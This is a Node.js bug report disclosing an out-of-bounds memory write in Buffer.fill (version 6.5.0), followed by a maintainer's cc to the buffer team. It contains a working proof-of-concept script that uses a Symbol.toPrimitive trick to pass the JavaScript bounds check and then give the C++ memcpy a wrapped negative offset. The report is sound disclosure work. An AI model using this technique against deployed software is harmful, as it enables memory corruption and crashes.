Buffer.fill has an out of bounds (arbitrary) memory write

[deian]

• Version: 6.5.0
• Platform: Linux
• Subsystem:

We can trigger a write to the location of our choice using the code in buff_write.js:

// Allocate a buffer
buff = Buffer.alloc(1);
ctr = 0

// Define start as an object instead of a number. When comparisons are
// called, they will call the underlying toPrimitive with the hint "number".
// We can define this function:
var start = {
 [Symbol.toPrimitive](hint) {
 if (ctr <= 0) {
 // We use this condition to get around the check in lib/buffer.js
 console.log("Returning 0, benign start")
 ctr = ctr + 1;
 return 0;
 } else {
 // Once buffer.js calls the C++ implemenation of fill, return -1
 console.log("Returning minus one");
 return -1;
 }
 }
};

newbuff = buff.fill(/* supply buf of your choosing; buf if you just want to crash*/, start, 1);

Relevant JavaScript code from lib/buffer.js:695:

function fill(val, start, end, encoding) {
...
// We avoid these bounds checks with the ctr
if (start < 0 || end > this.length)
 throw new RangeError('Out of range index');
...
binding.fill(this, val, start, end, encoding);
}

Relevant C++ code from src/node_buffer.cc:604:

size_t start = args[2]->Uint32Value(); // calls user-defined Javascript.
// start is now equal to our malicious value of -1, or a really big size_t
size_t end = args[3]->Uint32Value();
size_t fill_length = end - start;
...
// because start wraps around (its really big), we pass this check
CHECK(fill_length + start <= ts_obj_length);

if (Buffer::HasInstance(args[1])) {
 SPREAD_ARG(args[1], fill_obj);
 str_length = fill_obj_length;
 // now we write to ts_obj_data + start, which is the wrapped-around value
 // that we control. you can use pretty much any negative value.
 memcpy(ts_obj_data + start, fill_obj_data, MIN(str_length, fill_length));
 ...
}

• @mlfbrown for finding this with me

[mscdex]

/cc @nodejs/buffer